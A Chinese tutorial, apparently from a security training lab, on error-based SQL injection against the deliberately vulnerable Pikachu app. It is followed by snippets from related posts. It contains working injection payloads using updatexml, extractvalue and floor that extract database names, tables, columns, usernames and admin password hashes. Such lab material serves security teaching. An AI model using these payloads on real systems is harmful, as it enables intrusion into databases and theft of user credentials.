實驗12 基於函式報錯的注入

2021-09-14 05:25:53 字數 2087 閱讀 9836

常用報錯函式:updatexml() ,extractvalue(),floor()

原因:後台沒有遮蔽資料庫報錯資訊,在語法發生錯誤時會輸出在前端。

updatexml():是mysql對xml文件資料進行查詢和修改的xpath函式

extract value():是mysql對xml文件進行查詢的函式

floor():mysql進行取整的函式

1、語法格式:

updatexml(xml-document,xpathstring,new-value)

第乙個引數:fiedname是string格式,為表中欄位名

第二個引數:xpathstring(xpath格式字串)

第三個引數:new-value,string格式,替換查詢到的符合條件的

【注:xpath定位必須有效,否則會出錯!!!】

在mysql語法中:

concate:把傳進去的兩個引數組合成字串列印出來

0x7e:表示符號「~」的十六進製制,避免資訊被「吃掉」

我們以pikachu為例,開啟字元型注入,我們先輸入乙個「引號「測試一下,發現確實將報錯顯示到前端

這樣,我們就可以利用函式報錯的方法獲取我們想要的資訊

首先隨意輸入一段使用者名稱:hello,後面再加上updatexml函式

例:hello』 and updatexml(1,concate(0x7e,database()),0)#

【注:」and「前後一定要有空格!!!】

【注:」database「譯為資料庫】

可以得到資料庫名

然後,我們可以利用已知的資料庫名稱」pikachu「,獲取表名:

例:hello』 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema =『pikachu』)),0)#(若報錯顯示多於一行,則可在』pikachu』後加limit 0,1)

如:hello』 and updatexml(1,concat (0x7e,(select table_name from information_schema.tables where table_schema =『pikachu』 limit 0,1)),0)#

而「limit 0,1」表示的是第乙個表名,limit 1,1為第二個表名,limit 2,1為第三個表名…以此類推。。。。。。

獲取欄位名:在已知其表名的基礎上,獲取欄位名

例:hello』 and updatexml(1,concat (0x7e,(select column_name from information_schema.columns where table_name=『users』 limit 0,1)),0)#

獲取使用者名稱:在已知欄位名後,可獲取。

例:hello』 and updatexml(1,concat (0x7e,(select username from users limit 0,1)),0)#

獲取密碼:在獲取使用者名稱後可獲取

例:hello』 and updatexml(1,concat (0x7e,(select password from users where username=『admin』 limit 0,1)),0)#

得到的是密碼經過md5處理後的密文,可利用md5工具進行破解

基於函式報錯的注入

sql inject漏洞手動測試 基於函式報錯的資訊獲取 1.常用的報錯函式updatexml extractvalue floor 2.基於函式報錯的資訊獲取 sellect insert update delete 基於報錯的資訊獲取 技巧思路 一 在mysql中使用一些指定的函式來製造報錯,從...

實驗吧 加了料的報錯注入 exp報錯注入

先檢視頁面原始碼得到提示知道了後台執行的sql語句,很常規的查詢 測試了乙個報錯函式發現如下回顯,可見遮蔽了報錯資訊,也有可能是監測到了updatexml這個報錯函式,於是先用burp來fuzzing測試一波,看看哪些關鍵字 被遮蔽了 burp抓包並send to intruder 分別對usern...

報錯注入函式

1 通過floor報錯,注入語句如下 and select 1 from select count concat version floor rand 0 2 x from information schema.tables group by x a 2 通過extractvalue報錯,注入語句如...